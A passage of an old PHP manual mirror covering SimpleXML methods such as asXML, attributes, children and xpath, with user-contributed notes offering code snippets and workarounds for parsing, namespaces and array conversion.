   $arr = array();
   $x = 0;
   foreach($xml as $a=>$b) {
       $arr[$a][$x] =  array();

       // Looking for ATTRIBUTES
       $att = $b->attributes();
       foreach($att as $c=>$d) {
           $arr[$a][$x]['@'][$c] = (string) $d;
       }

       // Getting CDATA
       $arr[$a][$x]['cdata'] = trim((string) utf8_decode($b));

       // Processing CHILD NODES
       $arr[$a][$x]['nodes'] = sxml_to_array($b);
       $x++;
   }

   return $arr;
}

$xml = simplexml_load_file('myfile.xml');
$arr = sxml_to_array($xml);
print("<pre>");
print_r($arr);
print("</pre>");
Gregory Boshoff
20-May-2006 02:42
I've written a tutorial demonstating how to update a Google sitemap dynamically using  the PHP5 SimpleXML extension.

http://www.phpfive.net/article34.htm
daniel dot oconnor at gmail dot com
18-May-2006 09:21
SimpleXML handles namespaces, but it's not documented very well here at all.

If you wanted to parse, say, an open office manifest file or a piece of RDF/XML, you have to get elements and attributes by the namespace url.

Example:
<?php
function display($in) {
   if (file_exists($in)) {
       $xml = simplexml_load_file($in);
   } else {
       throw new Exception($in . " does not exist");
   }

   $manifest = $xml->children('http://openoffice.org/2001/manifest');

   foreach ($manifest->xpath('//manifest:file-entry') as $file) {
       foreach ($file->attributes('http://openoffice.org/2001/manifest') as $key => $value) {
           print "Key:" . $key . "\n";
           print "Value:" . $value . "\n";
       }
   }

}
?>

File: manifest.xml

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE manifest:manifest PUBLIC "-//OpenOffice.org//DTD Manifest 1.0//EN" "Manifest.dtd">
<manifest:manifest xmlns:manifest="http://openoffice.org/2001/manifest">
 <manifest:file-entry manifest:media-type="application/vnd.sun.xml.writer" manifest:full-path="/"/>
 <manifest:file-entry manifest:media-type="application/vnd.sun.xml.ui.configuration" manifest:full-path="Configurations2/"/>
 <manifest:file-entry manifest:media-type="application/binary" manifest:full-path="layout-cache"/>
 <manifest:file-entry manifest:media-type="text/xml" manifest:full-path="content.xml"/>
 <manifest:file-entry manifest:media-type="text/xml" manifest:full-path="styles.xml"/>
 <manifest:file-entry manifest:media-type="text/xml" manifest:full-path="meta.xml"/>
 <manifest:file-entry manifest:media-type="" manifest:full-path="Thumbnails/thumbnail.png"/>
 <manifest:file-entry manifest:media-type="" manifest:full-path="Thumbnails/"/>
 <manifest:file-entry manifest:media-type="text/xml" manifest:full-path="settings.xml"/>
</manifest:manifest>
JaskaS
05-May-2006 03:11
More new stuff.

<?php
$xml = "
<test></test>
";
$xml = simplexml_load_string($xml);
$xml->addChild('new','value','namespace');
echo $xml->asXml();

?>
output:
<?xml version="1.0"?>
<test><new xmlns="namespace">value</new></test>

Very nice and clean. DOM is so awkward compared to this.
Vaedan
03-May-2006 01:04
This is one new stuff to get the root name (since PHP 5.1.3) :

<?php

$xml = simplexml_load_string( '<foo name="bar" />' );
echo $xml->getName(); // displays foo

?>
chad 0x40 herballure 0x2e com
31-Mar-2006 11:47
It's mentioned in Example 5, but it's counterintuitive, so I'll highlight it here: attribute values are actually SimpleXMLElement objects and (like actual elements) they need to be cast to string before use as an array index. Otherwise PHP throws an "Illegal offset type" warning.
Jason
28-Jan-2006 10:45
As noted by paul at preinheimer dot com in a lower note ( http://us3.php.net/manual/en/ref.simplexml.php#52583 );

If you want to access an element that has a dash in its name, (as is common with the XML documents provided by the Library of Congress, as well as the NWS) you will need to handle it a little bit differently.

You can either use XPATH, which works fine, but will return an array of results every time, even if there is a single result.
eg.
$xml->xpath('/data/time-layout/start-valid-time'}

You can also choose just to encapsulate the element names containing a dash:
$xml->data->{'time-layout'}->{'start-valid-time'}
greyl at greyworld dot net
17-Jan-2006 02:56
If you want to use XML elements containing a '-', you can use a variable:

<?php
   $xml = simplexml_load_file("test.xml");
   $tag = 'first-name';
   echo $xml->$tag->asxml();
?>
t at wantzen dot com
17-Oct-2005 05:00
Thanks to Daniel Faivre! Great work!

I modified it to an array filled with ISO-8859-1 text and not UTF-8. Haven't tested it in detail - so be cautious!

Tobias

<?php

/**
  * Convert SimpleXMLElement object to ISO array
  * Copyright Daniel FAIVRE 2005 - www.geomaticien.com
  * Copyleft GPL license
  *
  * Modifications by Tobias Wantzen
  * Returned array will contain single-byte ISO-8859-1 using utf8_decode()
  */

function simplexml2ISOarray($xml) {
   if (get_class($xml) == 'SimpleXMLElement') {
         $attributes = $xml->attributes();
       foreach($attributes as $k=>$v) {
           if ($v) $a[$k] = (string) $v;
       }
         $x = $xml;
         $xml = get_object_vars($xml);
   }
   if (is_array($xml)) {
       if (count($xml) == 0) return (string) $x; // for CDATA
         foreach($xml as $key=>$value) {
             $r[$key] = simplexml2ISOarray($value);
             // original line instead of the following if statement:
             //$r[$key] = simplexml2ISOarray($value);
             if ( !is_array( $r[$key] ) ) $r[$key] = utf8_decode( $r[$key] );
       }
       if (isset($a)) $r['@'] = $a;    // Attributes
         return $r;
   }
   return (string) $xml;
 }

?>
js1 at qq dot com (js5131)
12-Oct-2005 09:27
modify the content of simpleXML:
<?php
$str="<?xml version='1.0'?>
  <root>
  <name>tom</name>
  <sex>man</sex>
  </root>";

$sx  = simplexml_load_string($str);
$sx -> name = "simpleXML";
echo $sx->asxml();
?>
lists at cyberlot dot net
08-Sep-2005 03:51
While you can't add new elements to a SimpleXML object you can however add new attributes
<?php
$string = '<doc channel="chat"><test1>Hello</test1></doc>';
$xml = simplexml_load_string($string);
$xml->test1['sub'] = 'No';
echo $xml->asXML();
?>

Will return output
<doc channel="chat"><test1 sub="No">Hello</test1></doc>
galaxiaguy at hotmail dot com
03-Sep-2005 10:52
I tried extending SimpleXMLElement to add some functionality and found you can't set new properties. I assume this is something to do with built-in magic methods or something.

So I wrote a class that behaves the same as SimpleXMLElement (by delegating most of it's work) but is arbitrarily extendable.

http://www.oliverbrown.me.uk/2005/09/03/extending-simplexml/

It's very new and not very well tested but could be useful to somebody.
mmacadams at casslin dot com
03-Sep-2005 12:46
it's important to note that PHP seems to disregard to first "all encompassing" tag...

for example:
$xmlstr="<order>
<billing_name>Matt</billing_name>
<billing_address>123 Main St.</billing_address>
</order>";

the 'billing_name' would be accessed by:

$xml = simplexml_load_string($xmlstr);
$billing_name = $xml->billing_name;

NOT:

$xml = simplexml_load_string($xml);
$billing_name = $xml->order->billing_name;

Maybe I'm just an idiot, but this took me a few hours to figure out.. (Partly due to the similiarity between the words "movie" and "movies" in the Movie example at the top of the page)

haha

hope this helps save someone some time! :)
emdeboas at bronstee dot com
30-Jun-2005 06:51
It seems not to be possible to find the name of the first XML tag in a SimpleXML document. Therefore here a simple way to find out (using the example XML):
<?php
include 'example.php';

$xml = simplexml_load_string($xmlstr);

$dom = dom_import_simplexml ($xml);
$root = $dom->tagName;
echo "-- the tagname is...: $root<br/>";  //should be: movies
?>
Maciek Ruckgaber <maciekrb at gmai dot com>
08-Jun-2005 08:07
after wondering around some time, i just realized something (maybe obvious, not very much for me). Hope helps someone to not waste time as i did :-P

when you have something like:

$xmlstr = <<<XML
<?xml version="1.0" encoding="utf-8"?>
<double xmlns="http://foosite.foo/">2328</double>
XML;

you will have the simpleXML object "transformed" to the text() content:

$xml = simplexml_load_string($xmlstr);
echo $xml; // this will echo 2328  (string)
cyberlot at cyberlot dot net
10-May-2005 04:24
outping  a SimpleXML object is deceptive

For example

<doc channel="chat"><mess>Hello</mess></doc>

print_r returns

SimpleXMLElement Object
(
   [mess] => Hello
)

One might assume you are "losing" the attribute of doc BUT

echo $object['channel']

Does return the value of chat

No xpath /doc/@channel mess needed to access it, Its there you just can't "see" it until you access it directly

Everything is there, sometimes you just have to hunt for it.
paul at preinheimer dot com
06-May-2005 08:11
Hi,

If you want to access an element that has a dash in its name, (as is common with the XML documents provided by the Library of Congress, as well as the NWS) you will need to handle it a little bit differently.

You can either use XPATH, which works fine, but will return an array of results every time, even if there is a single result.
eg.
$xml->xpath('/data/time-layout/start-valid-time'}

You can also choose just to encapsulate the element names containing a dash:
$xml->data->{'time-layout'}->{'start-valid-time'}

--

On a only partially related note, dealing with SimpleXML is one of the only times I have employed casting with PHP. While iterating (foreach) through the valid times, echo'ing the element worked great (it merely echo'ed the apropriate time), assigning it to another variable resulted in a SimpleXML object containing the time to be assigned, rather than just the time itself. This was resolved by casting the time to a string:

foreach($xml->data->{'time-layout'}->{'start-valid-time'} AS $time)
{
 $weatherDates[] = (string) $time;
}
T CHASSAGNETTE t_chassagnette at yahoo dot fr
04-May-2005 04:57
Another method to parse an XML Document into a PHP array with SIMPLEXML inspired from Daniel FAIVRE !

function xml2php($xml)
{
   $fils = 0;
   $tab = false;
   $array = array();
   foreach($xml->children() as $key => $value)
   {
       $child = xml2php($value);

       //To deal with the attributes
       foreach($node->attributes() as $ak=>$av)
       {
           $child[$ak] = (string)$av;

       }

       //Let see if the new child is not in the array
       if($tab==false && in_array($key,array_keys($array)))
       {
           //If this element is already in the array we will create an indexed array
           $tmp = $array[$key];
           $array[$key] = NULL;
           $array[$key][] = $tmp;
           $array[$key][] = $child;
           $tab = true;
       }
       elseif($tab == true)
       {
           //Add an element in an existing array
           $array[$key][] = $child;
       }
       else
       {
           //Add a simple element
           $array[$key] = $child;
       }

       $fils++;
     }

   if($fils==0)
   {
       return (string)$xml;
   }

   return $array;

}
nelson_menezes at yahoo dot co dot uk
01-Mar-2005 09:05
Note that SimpleXML expects to both read and output XML in UTF-8 encoding. You'll need to add a line such as this at the top of your input XML file if it isn't saved in UTF-8 (adjust to whatever encoding used):

<?xml version="1.0" encoding="ISO-8859-1" ?>

On the output side of things, if you're not serving/handling UTF-8, you'll need to use utf8_decode() [red. but that will only work for ISO-8859-1, not other encodings]. Common mistake: http://bugs.php.net/bug.php?id=28154
webmarks
14-Feb-2005 01:57
I'm new to PHP and XML, but I think others might pull their hair out over this too.  I forgot about XML and whitespace when I was populating an array with node values, and was getting what appeared to be duplicate values despite using array_unique(). Use trim() when populating an array or assigning a variable.

<?php
$xml_array = array();
foreach ($resource->xpath($node_match) as $option){
   $xml_array[$i] = trim($option);
   $i++;
}
$xml_unique_array = array_unique($xml_array);
?>
roland dot swingler at transversal dot com
08-Feb-2005 06:24
Just a quick note - if you wish to get the name of the tag you are operating on, use the the key bit of foreach, i.e in the example:

<?php
// Outputs title characters plot rating rating
foreach($xml->movie[0]->children() as $tag => $child){
  echo $tag;
}
?>

This might seem obvious but it stumped me for a bit.
Daniel FAIVRE - geomaticien.com
15-Jan-2005 07:46
I've searched a while for a convenient "to array" function, and finally wrote it. These one provide at least 5 cool features:
- the MOST IMPORTANT: return a correct structure when several childs nodes have the same name: nodes are numbered properly
- read CDATA values
- returned array is very easy-to-use
- attributes returned in sub-arrays with key [@]
- very fast

When you create a "xml2array" function, you need to manage  nodes with attributes, but without children: i've choosed to ignore their attributes to avoid a "virtual ['value'] node" for such nodes in the returned array.

<?php
/**
 * Convert SimpleXMLElement object to array
 * Copyright Daniel FAIVRE 2005 - www.geomaticien.com
 * Copyleft GPL license
 */

function simplexml2array($xml) {
   if (get_class($xml) == 'SimpleXMLElement') {
       $attributes = $xml->attributes();
       foreach($attributes as $k=>$v) {
           if ($v) $a[$k] = (string) $v;
       }
       $x = $xml;
       $xml = get_object_vars($xml);
   }
   if (is_array($xml)) {
       if (count($xml) == 0) return (string) $x; // for CDATA
       foreach($xml as $key=>$value) {
           $r[$key] = simplexml2array($value);
       }
       if (isset($a)) $r['@'] = $a;    // Attributes
       return $r;
   }
   return (string) $xml;
}

?>
igor kraus
08-Jan-2005 02:37
A simple way to merge two SimpleXML objects.

<?php
/**
* Pumps all child elements of second SimpleXML object into first one.
*
* @param    object      $xml1  SimpleXML object
* @param    object      $xml2  SimpleXML object
* @return  void
*/
function simplexml_merge (SimpleXMLElement &$xml1, SimpleXMLElement $xml2)
{
   // convert SimpleXML objects into DOM ones
   $dom1 = new DomDocument();
   $dom2 = new DomDocument();
   $dom1->loadXML($xml1->asXML());
   $dom2->loadXML($xml2->asXML());

   // pull all child elements of second XML
   $xpath = new domXPath($dom2);
   $xpathQuery = $xpath->query('/*/*');
   for ($i = 0; $i < $xpathQuery->length; $i++)
   {
       // and pump them into first one
       $dom1->documentElement->appendChild(
           $dom1->importNode($xpathQuery->item($i), true));
   }
   $xml1 = simplexml_import_dom($dom1);
}

$xml1 = simplexml_load_string('<root><child>child 1</child></root>');
$xml2 = simplexml_load_string('<root><child>child 2</child></root>');
simplexml_merge($xml1, $xml2);
echo($xml1->asXml());
?>

Will output:
<?xml version="1.0"?>
<root>
   <child>child 1</child>
   <child>child 2</child>
</root>
brcavanagh AT NO SPAM hotmail.com
03-Jan-2005 01:18
If you are looking to use SimpleXML for anything but reading XML documents, you should really reconsider, and use the XML DOM library.  By the time you get enough utilities implemented in DOM to handle all the set backs in SimpleXML, you will have defeated the purpose of using SimpleXML.  There are a few reasons for this, and there are already many workrounds, but the primairy issues are this

1) No complex node assignment.  You cannot switch nodes or replace them.

2) No appending new child nodes

3) Whenever you do something like $new_node = $xml_doc->node you will always get a reference even if you use a clone method, which will crash the script.

Other than that, its a great tool for reading docs.
aidan at php dot net
24-Dec-2004 04:42
SimpleXML does support namespaces, however their use is not as "simple".

This article explains much about SimpleXML, the limitations and problems in supporting namespaces, and possible solutions.

http://www.zend.com/php5/articles/php5-simplexml.php
lajos dot arpasi at maxxlogic dot hu
08-Oct-2004 08:31
If you use PHP4 and miss the features of SimpleXML try MiniXML (http://minixml.psychogenic.com).
MiniXML is a PHP class library for generating and parsing XML.
MiniXML have similar abilities like creating XML files from Arrays and importing XML files into Arrays.
You can manipulate the XML files more easily than SimpleXML.
It saved my life:).
jam from Russia
24-Sep-2004 11:23
Example:
<?xml version="1.0"?>
<root status="ok">
   <login status="logining"/>
   <user:name xmlns:user="http://user.com/">jam</user:name>
</root>

You can get value from "user:name" element:
$user_name = $xml->xpath('/root/user:name');

You can get value from "status" attribute "root" element:
$status = $xml->xpath('/root/@status');

You can get value from "status" attribute "login" element:
$logined = $xml->xpath('/root/login/@status');

SimpleXML work with namespace :-)
cellog at php dot net
01-Sep-2004 07:11
simplexml does not simply handle CDATA sections in a foreach loop.

<?php
$sx = simplexml_load_string('
<test>
 <one>hi</one>
 <two><![CDATA[stuff]]></two>
 <t>
  <for>two</for>
 </t>
 <multi>one</multi>
 <multi>two</multi>
</test>');
foreach((array) $sx as $tagname => $val) {
   if (is_string($val)) {
       // <one> will go here
   } elseif (is_array($val)) {
       // <multi> will go here because it happens multiple times
   } elseif (is_object($val)) {
     // <t> will go here because it contains tags
     // <two> will go here because it contains CDATA!
   }
}
?>

To test in the loop, do this

<?php
if (count((array) $val) == 0) {
   // this is not a tag that contains other tags
   $val = '' . $val;
   // now the CDATA is revealed magically.
}
?>
rishad at kaluma dot com
02-Jul-2004 12:12
To test whether a child node exists I used the following code:

<?php

function child_exists($xml, $childpath)
{
   $result = $xml->xpath($childpath);
   if (count($result)) {
       return true;
   } else {
       return false;
   }
}

?>
philip
18-Jun-2004 06:58
A introductory tutorial on simplexml can be found here:
* http://www.zend.com/php5/articles/php5-simplexml.php
* http://www.zend.com/php5/abs/php101-11.php
* http://www.onlamp.com/pub/a/php/2004/01/15/simplexml.html
greg dot steffensen at spamless dot richmond dot edu
20-Feb-2004 07:04
Simplexml's simplicity can be deceptive.  Simplexml elements behave either as objects or strings, depending on the context in which they're used (through overloading of the __toString() method, I assume).  Statements implying conversion to string treat them as strings, while assignment operations treat them as objects.  This can lead to unexpected behavior if, for example, you are trying to compare the values of two Simplexml elements.  The expected syntax will not work.  To force conversion to strings, just "typecast' whatever Simplexml element you're using.  For example:

<?php
$s = simplexml_load_string('<foo>43</foo> <bar>43</bar>');

// Evaluates to false by comparing object IDs instead of strings
($s->foo == $s->bar);

// Evaluates to true
((string)$s->foo == (string)$s->bar);
?>

[Ed. Note: Changed from quotes to casts because casts provide a quicker and more explicit conversion than do double quotes.]
add a note add a note

后退 | 起点 | 前进
swf_viewport | 上一级 | SimpleXMLElement->asXML


SimpleXMLElement->asXML

(no version information, might be only in CVS)

SimpleXMLElement->asXML -- Return a well-formed XML string based on SimpleXML element

说明

mixed SimpleXMLElement->asXML ( [string filename] )

The asXML method formats the parent object's data in XML version 1.0.

参数

filename

If specified, the function writes the data to the file rather than returning it.

返回值

If the filename isn't specified, this function returns a string on success and FALSE on error. If the parameter is specified, it returns TRUE if the file was written successfully and FALSE otherwise.

范例

例子 1. Get XML

<?php
$string = <<<XML
<a>
<b>
  <c>text</c>
  <c>stuff</c>
</b>
<d>
  <c>code</c>
</d>
</a>
XML;

$xml = simplexml_load_string($string);

echo $xml->asXML(); // <?xml ... <a><b><c>text</c><c>stuff</c> ...

?>

asXML also works on Xpath results:

例子 2. Using asXML() on Xpath results

<?php
// Continued from example XML above.

/* Search for <a><b><c> */
$result = $xml->xpath('/a/b/c');

while(list( , $node) = each($result)) {
    echo $node->asXML(); // <c>text</c> and <c>stuff</c>
}
?>

add a note add a note User Contributed Notes
daevid at daevid dot com
31-Mar-2006 06:35
note that asXML($file) will overwrite the file, not append to it.
add a note add a note

后退 | 起点 | 前进
SimpleXML functions | 上一级 | SimpleXMLElement->attributes


SimpleXMLElement->attributes

(no version information, might be only in CVS)

SimpleXMLElement->attributes -- Identifies an element's attributes

Description

SimpleXMLElement simplexml_element->attributes ( [string data] )

This function provides the attributes and values defined within an xml tag.

注: SimpleXML 创建了一条给大部分方法增加交互式属性的规则。这些属性不能够使用 var_dump() 或其它检查对象的方法来查看。

例子 1. Interpret an XML string

<?php
$string = <<<XML
<a>
<foo name="one" game="lonely">1</foo>
</a>
XML;

$xml = simplexml_load_string($string);
foreach($xml->foo[0]->attributes() as $a => $b) {
    echo $a,'="',$b,"\"\n";
}
?>

This script will display:

name="one"
game="lonely"

add a note add a note User Contributed Notes
skerr at mojavi dot org
10-Dec-2004 02:55
You can also access the node as an array to get attributes:

<?php

$xml = simplexml_load_file('file.xml');

echo 'Attribute: ' . $xml['attribute'];

?>
christian at koch dot net
09-Nov-2004 04:35
PHP5:: I think this is a fine solution to get the attributes easier...

<?php

class EFXMLElement extends SimpleXMLElement {

   function attributes() {
       return new EFXMLAttributes(parent::attributes());
   }

}

class EFXMLAttributes {

   private $attributes;

   function __construct($attributes) {
       $this->attributes = $attributes;
   }

   function __get($name) {
       if (isset($this->attributes[$name])) {
           return $this->attributes[$name];
       } else {
           return false;
       }
   }

}

if (file_exists('pref.xml')) {
   $tst = new EFXMLElement(file_get_contents('pref.xml'));
   var_dump($tst->plugins->plugin[0]->attributes()->name);
} else {
   exit('Failed to open test.xml.');
}

?>
XML::example

<?xml version="1.0" encoding="ISO8859-1" ?>
<preferences>
   <system>
       EF3
   </system>
   <websites>
       <website name="demo">
           <scriptpath>/</scriptpath>
       </website>
       <website name="other">
           x
       </website>
   </websites>
   <plugins>
       <plugin type="single" name="content" ontemplate="yes">
           <tag><![CDATA[<%content%>]]></tag>
           <class>EFContentPlugin</class>
           <source>/ef3/plugins/EFContentPlugin.class</source>
       </plugin>
       <plugin type="single" name="attribute" ontemplate="no">
           <tag><![CDATA[<%attribute @%>]]></tag>
           <class>EFAttributePlugin</class>
           <source>/ef3/plugins/EFAttributePlugin.class</source>
       </plugin>
       <plugin type="single" name="component" ontemplate="no">
           <tag><![CDATA[<%component @%>]]></tag>
           <class>EFComponentPlugin</class>
           <source>/ef3/plugins/EFComponentPlugin.class</source>
       </plugin>
       <plugin type="double" name="klammer" ontemplate="no">
           <tag><![CDATA[<KLAMMER@>]]></tag>
           <closer><![CDATA[<KLAMMER@>]]></closer>
           <class>KlammerPlugin</class>
           <source>/ef3/plugins/KlammerPlugin.class</source>
       </plugin>
   </plugins>
</preferences>
sveta at microbecal dot com
30-Oct-2004 06:03
Namespace handling example:
------------------------------------
test.xml:
<?xml version="1.0"?>
<Workbook xmlns="http://url1" xmlns:ss="http://url2">
 <Worksheet ss:Name="English">
 </Worksheet>
</Workbook>
script.php:
$xml_file = 'test.xml';
$xml = simplexml_load_file($xml_file);
foreach($xml->Worksheet->attributes('http://url2')
as $a => $b) {
   echo $a,'="',$b,"\"\n";
}
tychay at php dot net
29-Sep-2004 01:04
BTW, It occurs to me that why do you need the function anyway? You just access it directly as (string) $object[$attribute].
tychay at php dot net
29-Sep-2004 07:31
Why bother iterating over all the elements when they are already indexed? something like...

function simplexml_find_attribute(SimpleXMLElement $element, $attributeName) {
   $attrs = $element->attributes();
   if (isset($attrs[$attributeName])) {
       return (string) $attrs[$attributeName];
   }
   return false;
}

- terry
Eirik Sletteberg
12-Sep-2004 09:21
In reply to inge at elektronaut dot no's function:
Notice that this function returns an object, and not
a string. This is quite hard to notice at first, because
if you validate the return against a string, it will return
true:
print findAttribute($Fox, "foo") == "bar"? "Matches.":"Won't match."; // "Matches."

But, if you attempt to use the return for indexing in an array, like:
$MyArray[findattribute($Fox, "foo")] = "bar";

You will get an illegal offset type-error.
------
To correct this, we force-cast the return as a string:

function findAttribute($object, $attribute) {
  foreach($object->attributes() as $a => $b) {
   if ($a == $attribute) {
     $return = $b;
   }
  }
  if($return) {
   return (string)$return;
  }
}
inge at elektronaut dot no
27-May-2004 01:53
here's a simple function to get an attribute by name, based on the example

<?php
function findAttribute($object, $attribute) {
  foreach($object->attributes() as $a => $b) {
   if ($a == $attribute) {
     $return = $b;
   }
  }
  if($return) {
   return $return;
  }
}
?>
add a note add a note

后退 | 起点 | 前进
SimpleXMLElement->asXML | 上一级 | SimpleXMLElement->children


SimpleXMLElement->children

(no version information, might be only in CVS)

SimpleXMLElement->children -- Finds children of given node

Description

SimpleXMLElement simplexml_element->children ( [string nsprefix] )

This method finds the children of the element of which it is a member. The result follows normal iteration rules.

注: SimpleXML 创建了一条给大部分方法增加交互式属性的规则。这些属性不能够使用 var_dump() 或其它检查对象的方法来查看。

例子 1. Traversing a children() pseudo-array

<?php
$xml = simplexml_load_string(
'<person>
<child role="son">
  <child role="daughter"/>
</child>
<child role="daughter">
  <child role="son">
   <child role="son"/>
  </child>
</child>
</person>');

foreach ($xml->children() as $second_gen) {
    echo ' The person begot a ' . $second_gen['role'];

    foreach ($second_gen->children() as $third_gen) {
        echo ' who begot a ' . $third_gen['role'] . ';';

        foreach ($third_gen->children() as $fourth_gen) {
            echo ' and that ' . $third_gen['role'] .
                ' begot a ' . $fourth_gen['role'];
        }
    }
}
?>

This script will output:

The person begot a son who begot a daughter; The person
begot a daughter who begot a son; and that son begot a son

add a note add a note User Contributed Notes
taylorbarstow at that google mail thingy
21-Apr-2006 10:38
Sometimes you actually want an array, not a pseudo array.  This is especially true when you aren't dealing with attributes (i.e., you just want the array of child nodes).

Do like this:

<?php
$children = $sxml->xpath('child::node()');
?>

The reason you might want this is to be able to use array functions like array_shift, array_pop, etc.  This is especially true when you are writing recursive functions.  Simplexml works really well in iterative programming, but if you try to implement recursion it gets ugly.
Sebastian
27-Oct-2005 06:45
Just a quick addition:

If you need to access a child node which contains a dash, you need to encapsulate it with {""}.

For example:
<?php
foreach ($domain->domain-listing as $product) {
}
?>

The example above doesn't work because of the dash. But instead you need to use:
<?php
foreach ($domain->{"domain-listing"} as $product) {
}
?>

At least for me the second example works perfectly fine.
no-one
01-Jun-2005 09:05
For anyone who hasn't read Sterling Hughe's article (http://www.zend.com/php5/articles/php5-simplexml.php):

<?php
$xml_document =<<<EOT
<?xml version="1.0"?>
<root xmlns:foo="http://google.com">
  <foo:bar>baz</foo:bar>
</root>
EOT;

$xml_document = simplexml_load_xml($xml_document);

$foo_ns_bar = $xml_document->children('http://google.ca');

echo $foo_ns_bar->bar[0]; // prints 'baz'
?>
Andrew Rose (rose dot andrew at gmail dot com)
16-Mar-2005 08:48
The example below shows the basic use of depth-first recursion to span the xml tree.

This is coded for the command line, and it prints out the original sentance above and then the copy cat sentence it creates itself for comparison, which as you will see; this example is slightly off from, I'll leave it upto you to resolve this issue.

All in all I personaly think xml and recursion go hand in hand, so if you don't understand recursion but know xml and want to use php to manipulate xml you will need to learn about recursion at some point.

<?
$xml = simplexml_load_string(
'<person>
 <child role="son">
  <child role="daughter"/>
 </child>
 <child role="daughter">
  <child role="son">
   <child role="son"/>
  </child>
 </child>
</person>');

function recurse($child)
 {
   foreach($child->children() as $children) {
     echo ' who begot a '.$children['role'];
     recurse($children);
   }
   return;
 }

foreach($xml->children() as $children) {
 echo 'The person begot a '.$children['role'];
  recurse($children, 0);
 echo '; ';
}

echo "\n";
echo 'The person begot a son who begot a daughter; The person begot a daughter who begot a son; and that son begot a son'."\n";

?>
zyxwvu at users dot sourceforge dot net
16-Feb-2004 02:32
File:

<category>
  <item>text</item>
  <bold>text</bold>
  <item>text</item>
  <item>text</item>
  <mark>text</mark>
  <bold>text</bold>
</category>

If you want to get also names of the tags, you can use this loop layout:

foreach($category -> children() as $name => $node){
  echo $name.'<br/>';
}
add a note add a note

后退 | 起点 | 前进
SimpleXMLElement->attributes | 上一级 | SimpleXMLElement->xpath


SimpleXMLElement->xpath

(no version information, might be only in CVS)

SimpleXMLElement->xpath -- Runs Xpath query on XML data

Description

array SimpleXMLElement->xpath ( string path )

The xpath method searches the SimpleXML node for children matching the Xpath path. It always returns an array of SimpleXMLElement objects.

例子 1. Xpath

<?php
$string = <<<XML
<a>
<b>
  <c>text</c>
  <c>stuff</c>
</b>
<d>
  <c>code</c>
</d>
</a>
XML;

$xml = simplexml_load_string($string);

/* Search for <a><b><c> */
$result = $xml->xpath('/a/b/c');

while(list( , $node) = each($result)) {
    echo '/a/b/c: ',$node,"\n";
}

/* Relative paths also work... */
$result = $xml->xpath('b/c');

while(list( , $node) = each($result)) {
    echo 'b/c: ',$node,"\n";
}
?>

This script will display:

/a/b/c: text
/a/b/c: stuff
b/c: text
b/c: stuff

Notice that the two results are equal.

add a note add a note User Contributed Notes
ron @ rotflol dot cx
30-Mar-2006 01:07
xpath returning references to the parent simplexml object can bite you performance wise when processing large trees.
this bit me big time so looking for a solution I came up with a simple way to speed up the code.

'dereferencing' will yield instant results, code will be lighting fast.
sacrifice is losing the reference to the parent object, for simple read-only operation this should be ok.

<?php
$data = 'data.xml';
$rs = simplexml_load_file($data);
foreach($rs->xpath('//row') as $rsrow){
   // 'derefence' into a seperate xml tree for performance
   $row = simplexml_load_string($rsrow->asXML());
   $v = $row->xpath('//field[@name="id"]');

}
?>
drewish at katherinehouse dot com
10-Jan-2006 03:40
here's a simple work-around for the lack of support for default namespaces, just overwrite the xmlns attribute of the root element:
<?php
$xml = simplexml_load_file('http://example.com/atom_feed.xml');
// hack to work around php 5.0's problems with default namespaces and xpath()
$xml['xmlns'] = '';
// now our queries work:
$titles = $xml->xpath('entry/title');
foreach ((array)$titles as $title) {
   print "$title\n";
}
?>
Hugh
19-Dec-2005 07:23
Note that this function does not ALWAYS return an array. It seems that if the specified path is not found in the document, it will return false. You need to check for the false value before using foreach, if you wish to avoid a warning (and often to handle errors or control program flow in this situation).
retardis at gmail dot com
24-Aug-2005 04:21
Xpath actually returns an array full of references to elements in the parent SimpleXML object. Therefore, in addition to preserving attributes, you can actually modify them and the result will be reflected in the parent.

Example:

<?php

$xml_str = <<<END
<a>
   <b attr="foo"/>
</a>
END;

$xml = simplexml_load_string ($xml_str);
$result = $xml->xpath ('/a/b'); // returns an array with one element
$result[0]['attr'] = 'bar';
print $xml->asXML ();
?>

Outputs:
<a>
   <b attr="bar"/>
</a>
drewish at katherinehouse dot com
11-Jul-2005 09:16
xpath() can also be used to select elements by their attributes. For a good XPath reference check out: http://www.w3schools.com/xpath/xpath_syntax.asp

<?php
$string = <<<XML
<sizes>
   <size label="Square" width="75" height="75" />
   <size label="Thumbnail" width="100" height="62" />
   <size label="Small" width="112" height="69" />
   <size label="Large" width="112" height="69" />
</sizes>
XML;

$xml = simplexml_load_string($string);
$result = $xml->xpath("//size[@label='Large']");

// print the first (and only) member of the array
echo $result[0]->asXml();
?>

The script would print:
<size label="Large" width="112" height="69"/>
nelson dot menezes at yahoo dot co dot uk
16-Feb-2005 05:56
Regarding the note about the return of this function "not retaining tag attributes". This is not true at all (PHP 5.0.3); The attributes are kept for each member of the array returned. So this:

<a>
  <b value="1">xxx1</b>
  <b value="2">xxx2</b>
</a>

An xpath of "/a/b" would return an array with two SimpleXMLElements; each can have their tag properties read like so:

$array_element['value']
dummyusr at hm dot com
27-Nov-2004 04:00
well after testing my conclusion, if you are not interested in namespaces, is:

<?
$sxmltxt=file_get_contents($url);
$sxmltxt=str_replace("xmlns=","a=",$sxmltxt);
$xmltxt=simplexml_load_string($sxmltxt);
?>

then <? $xmltxt->xpath("//node"); ?> will work
not getting that void array
tyler.bell[at]oxarchdigital[dot]com
03-Sep-2004 11:53
Note: xpath currently (5.0) does not work with xml documents that employ default namespaces, but a fix should be added via registerXPathNamespace() in 5.1. See http://blog.bitflux.ch/p1746.html for more info.
matt@roughest[d0t]net
03-Sep-2004 03:17
This may be obvious, but in case you're wondering, the array resulting from the xpath() operation doesn't retain any of the nodes' attributes.

In other words, it won't return any of the tags' attributes
add a note add a note

后退 | 起点 | 前进
SimpleXMLElement->children | 上一级 | simplexml_import_dom


simplexml_import_dom

(PHP 5)

simplexml_import_dom -- Get a SimpleXMLElement object from a DOM node.

Description

SimpleXMLElement simplexml_import_dom ( DOMNode node [, string class_name] )

This function takes a node of a DOM document and makes it into a SimpleXML node. This new object can then be used as a native SimpleXML element. If any errors occur, it returns FALSE.

例子 1. Import DOM

<?php
$dom = new domDocument;
$dom->loadXML('<books><book><title>blah</title></book></books>');
if (!$dom) {
    echo 'Error while parsing the document';
    exit;
}

$s = simplexml_import_dom($dom);

echo $s->book[0]->title; // blah
?>

See also dom_import_simplexml().

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
SimpleXMLElement->xpath | 上一级 | simplexml_load_file


simplexml_load_file

(PHP 5)

